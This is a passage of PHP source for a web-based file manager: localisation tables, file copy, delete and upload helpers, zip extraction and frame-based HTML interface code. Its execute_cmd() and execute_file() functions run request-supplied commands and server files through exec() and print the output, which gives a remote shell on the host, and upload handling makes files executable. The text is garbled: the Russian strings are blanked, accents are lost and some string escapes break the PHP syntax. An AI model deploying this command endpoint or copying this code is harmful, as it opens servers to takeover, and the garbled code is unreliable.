        $tr['ConfTrySave'] = 'Dosya yazma izniniz yok. Yine de kaydetmeyi deneyebilirsiniz.';
        $tr['ConfSaved'] = 'Ayarlar kaydedildi';
        $tr['PassSaved'] = 'Parola kaydedildi';
        $tr['FileDirExists'] = 'Dosya veya dizin zaten var';
        $tr['NoPhpinfo'] = 'Php fonksiyon bilgisi devre disi';
        $tr['NoReturn'] = 'Deger dondurmuyor';
        $tr['FileSent'] = 'Dosya gonderildi';
        $tr['SpaceLimReached'] = 'Disk limitine ulasildi';
        $tr['InvExt'] = 'Gecersiz uzanti';
        $tr['FileNoOverw'] = 'Dosya degistirilemiyor';
        $tr['FileOverw'] = 'Dosya degistiribiliyor';
        $tr['FileIgnored'] = 'Dosya kabul edildi';
        $tr['ChkVer'] = 'Yeni versiyonu kontrol et';
        $tr['ChkVerAvailable'] = 'Yeni surum bulundu. Indirmek icin buraya tiklayin.';
        $tr['ChkVerNotAvailable'] = 'Yeni surum bulunamadi.';
        $tr['ChkVerError'] = 'Baglanti hatasi';
        $tr['Website'] = 'Website';
        $tr['SendingForm'] = 'Dosyalar gonderiliyor, lutfen bekleyin';
        $tr['NoFileSel'] = 'Secili dosya yok';
        $tr['SelAll'] = 'Hepsi';
        $tr['SelNone'] = 'Hicbiri';
        $tr['SelInverse'] = 'Ters';
        $tr['Selected_s'] = 'Secili oge(ler)';
        $tr['Total'] = 'Toplam';
        $tr['Partition'] = 'Bolme';
        $tr['RenderTime'] = 'Olusturuluyor';
        $tr['Seconds'] = 'Saniye';
        $tr['ErrorReport'] = 'Hata raporu';
        //   -   
        $ru['Version'] = '';
        $ru['DocRoot'] = ' Root ';
        $ru['FLRoot'] = ' ';
        $ru['Name'] = '';
        $ru['And'] = '';
        $ru['Enter'] = 'Enter';
        $ru['Send'] = '';
        $ru['Refresh'] = '';
        $ru['SaveConfig'] = ' ';
        $ru['SavePass'] = ' ';
        $ru['SaveFile'] = '  ';
        $ru['Save'] = '';
        $ru['Leave'] = '';
        $ru['Edit'] = '';
        $ru['View'] = '';
        $ru['Config'] = '';
        $ru['Ren'] = '';
        $ru['Rem'] = '';
        $ru['Compress'] = '';
        $ru['Decompress'] = ' ';
        $ru['ResolveIDs'] = ' id';
        $ru['Move'] = '';
        $ru['Copy'] = '';
        $ru['ServerInfo'] = '  ';
        $ru['CreateDir'] = ' ';
        $ru['CreateArq'] = '  ';
        $ru['ExecCmd'] = '';
        $ru['Upload'] = '';
        $ru['UploadEnd'] = '';
        $ru['Perm'] = '';
        $ru['Perms'] = ' ';
        $ru['Owner'] = '';
        $ru['Group'] = '';
        $ru['Other'] = '';
        $ru['Size'] = ' ';
        $ru['Date'] = '';
        $ru['Type'] = '';
        $ru['Free'] = '';
        $ru['Shell'] = 'Shell';
        $ru['Read'] = '';
        $ru['Write'] = '';
        $ru['Exec'] = '';
        $ru['Apply'] = '';
        $ru['StickyBit'] = 'StickyBit';
        $ru['Pass'] = '';
        $ru['Lang'] = '';
        $ru['File'] = '';
        $ru['File_s'] = '..';
        $ru['Dir_s'] = '..';
        $ru['To'] = '';
        $ru['Destination'] = '';
        $ru['Configurations'] = '';
        $ru['JSError'] = ' JavaScript';
        $ru['NoSel'] = '  ';
        $ru['SelDir'] = '      ';
        $ru['TypeDir'] = '   ';
        $ru['TypeArq'] = '  ';
        $ru['TypeCmd'] = '  ';
        $ru['TypeArqComp'] = '   ,
      
 :.. 
 nome.zip 
 nome.tar 
 nome.bzip 
 nome.gzip ';
        $ru['RemSel'] = '  ';
        $ru['NoDestDir'] = '   ';
        $ru['DestEqOrig'] = '     ';
        $ru['InvalidDest'] = '  ';
        $ru['NoNewPerm'] = '   ';
        $ru['CopyTo'] = '  ';
        $ru['MoveTo'] = ' ';
        $ru['AlterPermTo'] = '   ';
        $ru['ConfExec'] = '  ';
        $ru['ConfRem'] = ' ';
        $ru['EmptyDir'] = '  ';
        $ru['IOError'] = 'I/O Error';
        $ru['FileMan'] = 'PHP   ';
        $ru['TypePass'] = ' ';
        $ru['InvPass'] = ' ';
        $ru['ReadDenied'] = '  ';
        $ru['FileNotFound'] = '  ';
        $ru['AutoClose'] = '  ';
        $ru['OutDocRoot'] = '   DOCUMENT_ROOT';
        $ru['NoCmd'] = ':   ';
        $ru['ConfTrySave'] = '    . 
    . ';
        $ru['ConfSaved'] = ' ';
        $ru['PassSaved'] = ' ';
        $ru['FileDirExists'] = '    ';
        $ru['NoPhpinfo'] = ' PHPInfo ';
        $ru['NoReturn'] = ' ';
        $ru['FileSent'] = ' ';
        $ru['SpaceLimReached'] = '  ';
        $ru['InvExt'] = ' ';
        $ru['FileNoOverw'] = '     ';
        $ru['FileOverw'] = ' ';
        $ru['FileIgnored'] = ' ';
        $ru['ChkVer'] = ' ';
        $ru['ChkVerAvailable'] = '   ,  ,   ! ';
        $ru['ChkVerNotAvailable'] = '  . :(';
        $ru['ChkVerError'] = ' . ';
        $ru['Website'] = '';
        $ru['SendingForm'] = ' , ,  ';
        $ru['NoFileSel'] = '  ';
        $ru['SelAll'] = ' ';
        $ru['SelNone'] = '';
        $ru['SelInverse'] = '';
        $ru['Selected_s'] = '';
        $ru['Total'] = '';
        $ru['Partition'] = ' ';
        $ru['RenderTime'] = '  ';
        $ru['Seconds'] = '';
        $ru['ErrorReport'] = '  ';
        // Catalan - by Pere Borr s AKA @Norl
        $cat['Version'] = 'Versi';
        $cat['DocRoot'] = 'Arrel del programa';
        $cat['FLRoot'] = 'Arrel de l`administrador d`arxius';
        $cat['Name'] = 'Nom';
        $cat['And'] = 'i';
        $cat['Enter'] = 'Entrar';
        $cat['Send'] = 'Enviar';
        $cat['Refresh'] = 'Refrescar';
        $cat['SaveConfig'] = 'Desar configuracions';
        $cat['SavePass'] = 'Desar clau';
        $cat['SaveFile'] = 'Desar Arxiu';
        $cat['Save'] = 'Desar';
        $cat['Leave'] = 'Sortir';
        $cat['Edit'] = 'Editar';
        $cat['View'] = 'Mirar';
        $cat['Config'] = 'Config.';
        $cat['Ren'] = 'Canviar nom';
        $cat['Rem'] = 'Esborrar';
        $cat['Compress'] = 'Comprimir';
        $cat['Decompress'] = 'Descomprimir';
        $cat['ResolveIDs'] = 'Resoldre IDs';
        $cat['Move'] = 'Moure';
        $cat['Copy'] = 'Copiar';
        $cat['ServerInfo'] = 'Info del Server';
        $cat['CreateDir'] = 'Crear Directori';
        $cat['CreateArq'] = 'Crear Arxiu';
        $cat['ExecCmd'] = 'Executar Comandament';
        $cat['Upload'] = 'Pujar';
        $cat['UploadEnd'] = 'Pujat amb xit';
        $cat['Perm'] = 'Perm';
        $cat['Perms'] = 'Permisos';
        $cat['Owner'] = 'Propietari';
        $cat['Group'] = 'Grup';
        $cat['Other'] = 'Altre';
        $cat['Size'] = 'Tamany';
        $cat['Date'] = 'Data';
        $cat['Type'] = 'Tipus';
        $cat['Free'] = 'lliure';
        $cat['Shell'] = 'Executar';
        $cat['Read'] = 'Llegir';
        $cat['Write'] = 'Escriure';
        $cat['Exec'] = 'Executar';
        $cat['Apply'] = 'Aplicar';
        $cat['StickyBit'] = 'Sticky Bit';
        $cat['Pass'] = 'Clau';
        $cat['Lang'] = 'Llenguatje';
        $cat['File'] = 'Arxius';
        $cat['File_s'] = 'arxiu(s)';
        $cat['Dir_s'] = 'directori(s)';
        $cat['To'] = 'a';
        $cat['Destination'] = 'Dest';
        $cat['Configurations'] = 'Configuracions';
        $cat['JSError'] = 'Error de JavaScript';
        $cat['NoSel'] = 'No hi ha items seleccionats';
        $cat['SelDir'] = 'Seleccioneu el directori de dest a l`arbre de la dreta';
        $cat['TypeDir'] = 'Escrigui el nom del directori';
        $cat['TypeArq'] = 'Escrigui el nom de l`arxiu';
        $cat['TypeCmd'] = 'Escrigui el comandament';
        $cat['TypeArqComp'] = 'Escrigui el nombre del directorio.
L`extensi definir  el tipus de compressi.
Ex:
nom.zip
nom.tar
nom.bzip
nom.gzip';
        $cat['RemSel'] = 'ESBORRAR items seleccionats';
        $cat['NoDestDir'] = 'No s`ha seleccionat el directori de dest';
        $cat['DestEqOrig'] = 'L`origen i el dest sn iguals';
        $cat['InvalidDest'] = 'El dest del directori s inv lid';
        $cat['NoNewPerm'] = 'Els permisos no s`han pogut establir';
        $cat['CopyTo'] = 'COPIAR a';
        $cat['MoveTo'] = 'MOURE a';
        $cat['AlterPermTo'] = 'CAMBIAR PERMISOS a';
        $cat['ConfExec'] = 'Confirmar EXECUCI';
        $cat['ConfRem'] = 'Confirmar ESBORRAT';
        $cat['EmptyDir'] = 'Directori buit';
        $cat['IOError'] = 'Error I/O';
        $cat['FileMan'] = 'PHP File Manager';
        $cat['TypePass'] = 'Escrigui la clau';
        $cat['InvPass'] = 'Clau inv lida';
        $cat['ReadDenied'] = 'Accs de lectura denegat';
        $cat['FileNotFound'] = 'Arxiu no trobat';
        $cat['AutoClose'] = 'Tancar al completar';
        $cat['OutDocRoot'] = 'Arxiu abans de DOCUMENT_ROOT';
        $cat['NoCmd'] = 'Error: No s`ha escrit cap comandament';
        $cat['ConfTrySave'] = 'Arxiu sense permisos d`escriptura.
Intenteu desar a un altre lloc';
        $cat['ConfSaved'] = 'Configuraci Desada';
        $cat['PassSaved'] = 'Clau desada';
        $cat['FileDirExists'] = 'Arxiu o directori ja existent';
        $cat['NoPhpinfo'] = 'Funci phpinfo() no habilitada';
        $cat['NoReturn'] = 'sense retorn';
        $cat['FileSent'] = 'Arxiu enviat';
        $cat['SpaceLimReached'] = 'Lmit d`espaci al disc assolit';
        $cat['InvExt'] = 'Extensi no v lida';
        $cat['FileNoOverw'] = 'L`arxiu no ha pogut ser sobreescrit';
        $cat['FileOverw'] = 'Arxiu sobreescrit';
        $cat['FileIgnored'] = 'Arxiu ignorat';
        $cat['ChkVer'] = 'Revisar les actualitzacions';
        $cat['ChkVerAvailable'] = 'Nova versi, feu clic aqu per descarregar';
        $cat['ChkVerNotAvailable'] = 'La vostra versi s la ms recent.';
        $cat['ChkVerError'] = 'Error de connexi.';
        $cat['Website'] = 'Lloc Web';
        $cat['SendingForm'] = 'Enviant arxius, esperi';
        $cat['NoFileSel'] = 'Cap arxiu seleccionat';
        $cat['SelAll'] = 'Tots';
        $cat['SelNone'] = 'Cap';
        $cat['SelInverse'] = 'Invers';
        $cat['Selected_s'] = 'seleccionat';
        $cat['Total'] = 'total';
        $cat['Partition'] = 'Partici';
        $cat['RenderTime'] = 'Generat en';
        $cat['Seconds'] = 'seg';
        $cat['ErrorReport'] = 'Informe d`error';
        $lang_ = $$lang;
        if (isset($lang_[$tag])) return html_encode($lang_[$tag]);
        //else return "[$tag]"; // So we can know what is missing
        return $en[$tag];
    }
    // +--------------------------------------------------
    // | File System
    // +--------------------------------------------------
    function total_size($arg) {
        $total = 0;
        if (file_exists($arg)) {
            if (is_dir($arg)) {
                $handle = opendir($arg);
                while ($aux = readdir($handle)) {
                    if ($aux != "." && $aux != "..") $total+= total_size($arg . "/" . $aux);
                }
                @closedir($handle);
            } else $total = filesize($arg);
        }
        return $total;
    }
    function total_delete($arg) {
        if (file_exists($arg)) {
            @chmod($arg, 0755);
            if (is_dir($arg)) {
                $handle = opendir($arg);
                while ($aux = readdir($handle)) {
                    if ($aux != "." && $aux != "..") total_delete($arg . "/" . $aux);
                }
                @closedir($handle);
                rmdir($arg);
            } else unlink($arg);
        }
    }
    function total_copy($orig, $dest) {
        $ok = true;
        if (file_exists($orig)) {
            if (is_dir($orig)) {
                mkdir($dest, 0755);
                $handle = opendir($orig);
                while (($aux = readdir($handle)) && ($ok)) {
                    if ($aux != "." && $aux != "..") $ok = total_copy($orig . "/" . $aux, $dest . "/" . $aux);
                }
                @closedir($handle);
            } else $ok = copy((string)$orig, (string)$dest);
        }
        return $ok;
    }
    function total_move($orig, $dest) {
        // Just why doesn't it has a MOVE alias?!
        return rename((string)$orig, (string)$dest);
    }
    function download() {
        global $current_dir, $filename;
        $file = $current_dir . $filename;
        if (file_exists($file)) {
            $is_denied = false;
            foreach ($download_ext_filter as $key => $ext) {
                if (eregi($ext, $filename)) {
                    $is_denied = true;
                    break;
                }
            }
            if (!$is_denied) {
                $size = filesize($file);
                header("Content-Type: application/save");
                header("Content-Length: $size");
                header("Content-Disposition: attachment; filename=\"$filename\"");
                header("Content-Transfer-Encoding: binary");
                if ($fh = fopen("$file", "rb")) {
                    fpassthru($fh);
                    fclose($fh);
                } else alert(et('ReadDenied') . ": " . $file);
            } else alert(et('ReadDenied') . ": " . $file);
        } else alert(et('FileNotFound') . ": " . $file);
    }
    function execute_cmd() {
        global $cmd;
        header("Content-type: text/plain");
        if (strlen($cmd)) {
            echo "# " . $cmd . "
";
            exec($cmd, $mat);
            if (count($mat)) echo trim(implode("
", $mat));
            else echo "exec(\"$cmd\") " . et('NoReturn') . "...";
        } else echo et('NoCmd');
    }
    function execute_file() {
        global $current_dir, $filename;
        header("Content-type: text/plain");
        $file = $current_dir . $filename;
        if (file_exists($file)) {
            echo "# " . $file . "
";
            exec($file, $mat);
            if (count($mat)) echo trim(implode("
", $mat));
        } else alert(et('FileNotFound') . ": " . $file);
    }
    function save_upload($temp_file, $filename, $dir_dest) {
        global $upload_ext_filter;
        $filename = remove_special_chars($filename);
        $file = $dir_dest . $filename;
        $filesize = filesize($temp_file);
        $is_denied = false;
        foreach ($upload_ext_filter as $key => $ext) {
            if (eregi($ext, $filename)) {
                $is_denied = true;
                break;
            }
        }
        if (!$is_denied) {
            if (!check_limit($filesize)) {
                if (file_exists($file)) {
                    if (unlink($file)) {
                        if (copy($temp_file, $file)) {
                            @chmod($file, 0755);
                            $out = 6;
                        } else $out = 2;
                    } else $out = 5;
                } else {
                    if (copy($temp_file, $file)) {
                        @chmod($file, 0755);
                        $out = 1;
                    } else $out = 2;
                }
            } else $out = 3;
        } else $out = 4;
        return $out;
    }
    function zip_extract() {
        global $cmd_arg, $current_dir, $islinux;
        $zip = zip_open($current_dir . $cmd_arg);
        if ($zip) {
            while ($zip_entry = zip_read($zip)) {
                if (zip_entry_filesize($zip_entry)) {
                    $complete_path = $path . dirname(zip_entry_name($zip_entry));
                    $complete_name = $path . zip_entry_name($zip_entry);
                    if (!file_exists($complete_path)) {
                        $tmp = '';
                        foreach (explode('/', $complete_path) AS $k) {
                            $tmp.= $k . '/';
                            if (!file_exists($tmp)) {
                                @mkdir($current_dir . $tmp, 0755);
                            }
                        }
                    }
                    if (zip_entry_open($zip, $zip_entry, "r")) {
                        if ($fd = fopen($current_dir . $complete_name, 'w')) {
                            fwrite($fd, zip_entry_read($zip_entry, zip_entry_filesize($zip_entry)));
                            fclose($fd);
                        } else echo "fopen($current_dir.$complete_name) error<br>";
                        zip_entry_close($zip_entry);
                    } else echo "zip_entry_open($zip,$zip_entry) error<br>";
                }
            }
            zip_close($zip);
        }
    }
    // +--------------------------------------------------
    // | Data Formating
    // +--------------------------------------------------
    function html_encode($str) {
        global $charSet;
        $str = preg_replace(array('/&/', '/</', '/>/', '/"/'), array('&amp;', '&lt;', '&gt;', '&quot;'), $str); // Bypass PHP to allow any charset!!
        $str = htmlentities($str, ENT_QUOTES, $charSet, false);
        return $str;
    }
    function rep($x, $y) {
        if ($x) {
            $aux = "";
            for ($a = 1;$a <= $x;$a++) $aux.= $y;
            return $aux;
        } else return "";
    }
    function str_zero($arg1, $arg2) {
        if (strstr($arg1, "-") == false) {
            $aux = intval($arg2) - strlen($arg1);
            if ($aux) return rep($aux, "0") . $arg1;
            else return $arg1;
        } else {
            return "[$arg1]";
        }
    }
    function replace_double($sub, $str) {
        $out = str_replace($sub . $sub, $sub, $str);
        while (strlen($out) != strlen($str)) {
            $str = $out;
            $out = str_replace($sub . $sub, $sub, $str);
        }
        return $out;
    }
    function remove_special_chars($str) {
        $str = trim($str);
        $str = strtr($str, " !@#%&*()[]{}+=?", "YuAAAAAAACEEEEIIIIDNOOOOOOUUUUYsaaaaaaaceeeeiiiionoooooouuuuyy_______________");
        $str = str_replace("..", "", str_replace("/", "", str_replace("\","",str_replace("\$","",$str))));
    return $str;
}
function format_path($str){
    global $islinux;
    $str = trim($str);
    $str = str_replace(" . . ","",str_replace("\"," / ",str_replace("\$","",$str)));
    $done = false;
    while (!$done) {
        $str2 = str_replace(" //","/",$str);
        if (strlen($str) == strlen($str2)) $done = true;
        else $str = $str2;
    }
    $tam = strlen($str);
    if ($tam) {
        $last_char = $tam - 1;
        if ($str[$last_char] != "/") $str.= "/";
        if (!$islinux) $str = ucfirst($str);
    }
    return $str;
}
function array_csort() {
    $args = func_get_args();
    $marray = array_shift($args);
    $msortline = "return(array_multisort(";
    foreach ($args as $arg) {
        $i++;
        if (is_string($arg)) {
            foreach ($marray as $row) {
                $sortarr[$i][] = $row[$arg];
            }
        } else {
            $sortarr[$i] = $arg;
        }
        $msortline.= "\$sortarr[" . $i . "],";
    }
    $msortline.= "\$marray));";
    eval($msortline);
    return $marray;
}
function show_perms($P) {
    $sP = "<b>";
    if ($P & 0x1000) $sP.= 'p'; // FIFO pipe
    elseif ($P & 0x2000) $sP.= 'c'; // Character special
    elseif ($P & 0x4000) $sP.= 'd'; // Directory
    elseif ($P & 0x6000) $sP.= 'b'; // Block special
    elseif ($P & 0x8000) $sP.= '&minus;'; // Regular
    elseif ($P & 0xA000) $sP.= 'l'; // Symbolic Link
    elseif ($P & 0xC000) $sP.= 's'; // Socket
    else $sP.= 'u'; // UNKNOWN
    $sP.= "</b>";
    // owner - group - others
    $sP.= (($P & 0x0100) ? 'r' : '&minus;') . (($P & 0x0080) ? 'w' : '&minus;') . (($P & 0x0040) ? (($P & 0x0800) ? 's' : 'x') : (($P & 0x0800) ? 'S' : '&minus;'));
    $sP.= (($P & 0x0020) ? 'r' : '&minus;') . (($P & 0x0010) ? 'w' : '&minus;') . (($P & 0x0008) ? (($P & 0x0400) ? 's' : 'x') : (($P & 0x0400) ? 'S' : '&minus;'));
    $sP.= (($P & 0x0004) ? 'r' : '&minus;') . (($P & 0x0002) ? 'w' : '&minus;') . (($P & 0x0001) ? (($P & 0x0200) ? 't' : 'x') : (($P & 0x0200) ? 'T' : '&minus;'));
    return $sP;
}
function format_size($arg) {
    if ($arg > 0) {
        $j = 0;
        $ext = array(" bytes", " Kb", " Mb", " Gb", " Tb");
        while ($arg >= pow(1024, $j)) ++$j;
        return round($arg / pow(1024, $j - 1) * 100) / 100 . $ext[$j - 1];
    } else return "0 bytes";
}
function get_size($file) {
    return format_size(filesize($file));
}
function check_limit($new_filesize = 0) {
    global $fm_current_root;
    global $quota_mb;
    if ($quota_mb) {
        $total = total_size($fm_current_root);
        if (floor(($total + $new_filesize) / (1024 * 1024)) > $quota_mb) return true;
    }
    return false;
}
function get_user($arg) {
    global $mat_passwd;
    $aux = "x:" . trim($arg) . ":";
    for ($x = 0;$x < count($mat_passwd);$x++) {
        if (strstr($mat_passwd[$x], $aux)) {
            $mat = explode(":", $mat_passwd[$x]);
            return $mat[0];
        }
    }
    return $arg;
}
function get_group($arg) {
    global $mat_group;
    $aux = "x:" . trim($arg) . ":";
    for ($x = 0;$x < count($mat_group);$x++) {
        if (strstr($mat_group[$x], $aux)) {
            $mat = explode(":", $mat_group[$x]);
            return $mat[0];
        }
    }
    return $arg;
}
function uppercase($str) {
    global $charset;
    return mb_strtoupper($str, $charset);
}
function lowercase($str) {
    global $charset;
    return mb_strtolower($str, $charset);
}
// +--------------------------------------------------
// | Interface
// +--------------------------------------------------
function html_header($header = "") {
    global $charset, $fm_color;
    echo "
	<!DOCTYPE HTML PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">
	<html xmlns=\"http://www.w3.org/1999/xhtml\">
    <head>    
    <meta http-equiv=\"content-type\" content=\"text/html; charset=" . $charset . "\" />	
	<title>...:::: " . et('FileMan') . "</title>
    <script language=\"Javascript\" type=\"text/javascript\">
    <!--
        function Is(){
            this.appname = navigator.appName;
            this.appversion = navigator.appVersion;
            this.platform = navigator.platform;
            this.useragent = navigator.userAgent.toLowerCase();
            this.ie = ( this.appname == 'Microsoft Internet Explorer' );
            if (( this.useragent.indexOf( 'mac' ) != -1 ) || ( this.platform.indexOf( 'mac' ) != -1 )){
                this.sisop = 'mac';
            } else if (( this.useragent.indexOf( 'windows' ) != -1 ) || ( this.platform.indexOf( 'win32' ) != -1 )){
                this.sisop = 'windows';
            } else if (( this.useragent.indexOf( 'inux' ) != -1 ) || ( this.platform.indexOf( 'linux' ) != -1 )){
                this.sisop = 'linux';
            }
        }
        var is = new Is();
        function enterSubmit(keypressEvent,submitFunc){
            var kCode = (is.ie) ? keypressEvent.keyCode : keypressEvent.which
            if( kCode == 13) eval(submitFunc);
        }
        function getCookieVal (offset) {
            var endstr = document.cookie.indexOf (';', offset);
            if (endstr == -1) endstr = document.cookie.length;
            return unescape(document.cookie.substring(offset, endstr));
        }
        function getCookie (name) {
            var arg = name + '=';
            var alen = arg.length;
            var clen = document.cookie.length;
            var i = 0;
            while (i < clen) {
                var j = i + alen;
                if (document.cookie.substring(i, j) == arg) return getCookieVal (j);
                i = document.cookie.indexOf(' ', i) + 1;
                if (i == 0) break;
            }
            return null;
        }
        function setCookie (name, value, expires) {
            var argv = setCookie.arguments;
            var argc = setCookie.arguments.length;
            var expires = (argc > 2) ? argv[2] : null;
            var path = (argc > 3) ? argv[3] : null;
            var domain = (argc > 4) ? argv[4] : null;
            var secure = (argc > 5) ? argv[5] : false;
            document.cookie = name + '=' + escape (value) +
            ((expires == null) ? '' : ('; expires=' + expires.toGMTString())) +
            ((path == null) ? '' : ('; path=' + path)) +
            ((domain == null) ? '' : ('; domain=' + domain)) +
            ((secure == true) ? '; secure' : '');
        }
        function delCookie (name) {
            var exp = new Date();
            exp.setTime (exp.getTime() - 1);
            var cval = getCookie (name);
            document.cookie = name + '=' + cval + '; expires=' + exp.toGMTString();
        }
        var frameWidth, frameHeight;
        function getFrameSize(){
            if (self.innerWidth){
                frameWidth = self.innerWidth;
                frameHeight = self.innerHeight;
            }else if (document.documentElement && document.documentElement.clientWidth){
                frameWidth = document.documentElement.clientWidth;
                frameHeight = document.documentElement.clientHeight;
            }else if (document.body){
                frameWidth = document.body.clientWidth;
                frameHeight = document.body.clientHeight;
            }else return false;
            return true;
        }
        getFrameSize();
    //-->
    </script>
    $header
    </head>
    <script language=\"Javascript\" type=\"text/javascript\">
    <!--
        var W = screen.width;
        var H = screen.height;
        var FONTSIZE = 0;
        switch (W){
            case 640:
                FONTSIZE = 8;
            break;
            case 800:
                FONTSIZE = 10;
            break;
            case 1024:
                FONTSIZE = 12;
            break;
            default:
                FONTSIZE = 14;
            break;
        }
    ";
    echo replace_double(" ", str_replace(chr(13), "", str_replace(chr(10), "", "
        document.writeln('
        <style type=\"text/css\">
        body {
            font-family : Arial;
            font-size: '+FONTSIZE+'px;
            font-weight : normal;
            color: #" . $fm_color['Text'] . ";
            background-color: #" . $fm_color['Bg'] . ";
        }
        table {
            font-family : Arial;
            font-size: '+FONTSIZE+'px;
            font-weight : normal;
            color: #" . $fm_color['Text'] . ";
            cursor: default;
        }
        input {
            font-family : Arial;
            font-size: '+FONTSIZE+'px;
            font-weight : normal;
            color: #" . $fm_color['Text'] . ";
        }
        textarea {
            font-family : Courier;
            font-size: 12px;
            font-weight : normal;
            color: #" . $fm_color['Text'] . ";
        }
        a {
            font-family : Arial;
            font-size : '+FONTSIZE+'px;
            font-weight : bold;
            text-decoration: none;
            color: #" . $fm_color['Text'] . ";
        }
        a:link {
            color: #" . $fm_color['Text'] . ";
        }
        a:visited {
            color: #" . $fm_color['Text'] . ";
        }
        a:hover {
            color: #" . $fm_color['Link'] . ";
        }
        a:active {
            color: #" . $fm_color['Text'] . ";
        }
        tr.entryUnselected {
            background-color: #" . $fm_color['Entry'] . ";
        }
        tr.entryUnselected:hover {
            background-color: #" . $fm_color['Over'] . ";
        }
        tr.entrySelected {
            background-color: #" . $fm_color['Mark'] . ";
        }
        </style>
        ');
    ")));
    echo "
    //-->
    </script>
    ";
}
function reloadframe($ref, $frame_number, $Plus = "") {
    global $current_dir, $path_info;
    echo "
    <script language=\"Javascript\" type=\"text/javascript\">
    <!--
        " . $ref . ".frame" . $frame_number . ".location.href='" . $path_info["basename"] . "?frame=" . $frame_number . "&current_dir=" . $current_dir . $Plus . "';
    //-->
    </script>
    ";
}
function alert($arg) {
    echo "
    <script language=\"Javascript\" type=\"text/javascript\">
    <!--
        alert('$arg');
    //-->
    </script>
    ";
}
function tree($dir_before, $dir_current, $indice) {
    global $fm_current_root, $current_dir, $islinux;
    global $expanded_dir_list;
    $indice++;
    $num_dir = 0;
    $dir_name = str_replace($dir_before, "", $dir_current);
    $dir_before = str_replace("//", "/", $dir_before);
    $dir_current = str_replace("//", "/", $dir_current);
    $is_denied = false;
    if ($islinux) {
        $denied_list = "/proc#/dev";
        $mat = explode("#", $denied_list);
        foreach ($mat as $key => $val) {
            if ($dir_current == $val) {
                $is_denied = true;
                break;
            }
        }
        unset($mat);
    }
    if (!$is_denied) {
        if ($handle = @opendir($dir_current)) {
            // Permitido
            while ($file = readdir($handle)) {
                if ($file != "." && $file != ".." && is_dir("$dir_current/$file")) $mat_dir[] = $file;
            }
            @closedir($handle);
            if (count($mat_dir)) {
                sort($mat_dir, SORT_STRING);
                // with Sub-dir
                if ($indice != 0) {
                    for ($aux = 1;$aux < $indice;$aux++) echo "&nbsp;&nbsp;&nbsp;&nbsp;";
                }
                if ($dir_before != $dir_current) {
                    if (strstr($expanded_dir_list, ":$dir_current/$dir_name")) $op_str = "[]";
                    else $op_str = "[+]";
                    echo "<nobr><a href=\"JavaScript:go_dir('$dir_current/$dir_name')\">$op_str</a> <a href=\"JavaScript:go('$dir_current')\">$dir_name</a></nobr><br>
";
                } else {
                    echo "<nobr><a href=\"JavaScript:go('$dir_current')\">$fm_current_root</a></nobr><br>
";
                }
                for ($x = 0;$x < count($mat_dir);$x++) {
                    if (($dir_before == $dir_current) || (strstr($expanded_dir_list, ":$dir_current/$dir_name"))) {
                        tree($dir_current . "/", $dir_current . "/" . $mat_dir[$x], $indice);
                    } else flush();
                }
            } else {
                // no Sub-dir
                if ($dir_before != $dir_current) {
                    for ($aux = 1;$aux < $indice;$aux++) echo "&nbsp;&nbsp;&nbsp;&nbsp;";
                    echo "<b>[&nbsp;&nbsp;]</b>";
                    echo "<nobr><a href=\"JavaScript:go('$dir_current')\"> $dir_name</a></nobr><br>
";
                } else {
                    echo "<nobr><a href=\"JavaScript:go('$dir_current')\"> $fm_current_root</a></nobr><br>
";
                }
            }
        } else {
            // denied
            if ($dir_before != $dir_current) {
                for ($aux = 1;$aux < $indice;$aux++) echo "&nbsp;&nbsp;&nbsp;&nbsp;";
                echo "<b>[&nbsp;&nbsp;]</b>";
                echo "<nobr><a href=\"JavaScript:go('$dir_current')\"><font color=red> $dir_name</font></a></nobr><br>
";
            } else {
                echo "<nobr><a href=\"JavaScript:go('$dir_current')\"><font color=red> $fm_current_root</font></a></nobr><br>
";
            }
        }
    } else {
        // denied
        if ($dir_before != $dir_current) {
            for ($aux = 1;$aux < $indice;$aux++) echo "&nbsp;&nbsp;&nbsp;&nbsp;";
            echo "<b>[&nbsp;&nbsp;]</b>";
            echo "<nobr><a href=\"JavaScript:go('$dir_current')\"><font color=red> $dir_name</font></a></nobr><br>
";
        } else {
            echo "<nobr><a href=\"JavaScript:go('$dir_current')\"><font color=red> $fm_current_root</font></a></nobr><br>
";
        }
    }
}
function show_tree() {
    global $fm_current_root, $path_info, $setflag, $islinux, $cookie_cache_time;
    html_header("
    <script language=\"Javascript\" type=\"text/javascript\">
    <!--
        function saveFrameSize(){
            if (getFrameSize()){
                var exp = new Date();
                exp.setTime(exp.getTime()+$cookie_cache_time);
                setCookie('leftFrameWidth',frameWidth,exp);
            }
        }
        window.onresize = saveFrameSize;
    //-->
    </script>");
    echo "<body marginwidth=\"0\" marginheight=\"0\">
";
    echo "
    <script language=\"Javascript\" type=\"text/javascript\">
    <!--
        // Disable text selection, binding the onmousedown, but not for some elements, it must work.
        function disableTextSelection(e){
			var type = String(e.target.type);
			return (type.indexOf('select') != -1 || type.indexOf('button') != -1 || type.indexOf('input') != -1 || type.indexOf('radio') != -1);
		}
        function enableTextSelection(){return true}
        if (is.ie) document.onselectstart=new Function('return false')
        else {
            document.body.onmousedown=disableTextSelection
            document.body.onclick=enableTextSelection
        }
        var flag = " . (($setflag) ? "true" : "false") . "
        function set_flag(arg) {
            flag = arg;
        }
        function go_dir(arg) {
            var setflag;
            setflag = (flag)?1:0;
            document.location.href='" . addslashes($path_info["basename"]) . "?frame=2&setflag='+setflag+'&current_dir=" . addslashes($current_dir) . "&ec_dir='+arg;
        }
        function go(arg) {
            if (flag) {
                parent.frame3.set_dir_dest(arg+'/');
                flag = false;
            } else {
                parent.frame3.location.href='" . addslashes($path_info["basename"]) . "?frame=3&current_dir='+arg+'/';
            }
        }
        function set_fm_current_root(arg){
            document.location.href='" . addslashes($path_info["basename"]) . "?frame=2&set_fm_current_root='+escape(arg);
        }
        function atualizar(){
            document.location.href='" . addslashes($path_info["basename"]) . "?frame=2';
        }
    //-->
    </script>
    ";
    echo "<table width=\"100%\" height=\"100%\" border=0 cellspacing=0 cellpadding=5>
";
    echo "<form><tr valign=top height=10><td>";
    if (!$islinux) {
        echo "<select name=drive onchange=\"set_fm_current_root(this.value)\">";
        $aux = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
        for ($x = 0;$x < strlen($aux);$x++) {
            if ($handle = opendir($aux[$x] . ":/")) {
                @closedir($handle);
                if (strstr(uppercase($fm_current_root), $aux[$x] . ":/")) $is_sel = "selected";
                else $is_sel = "";
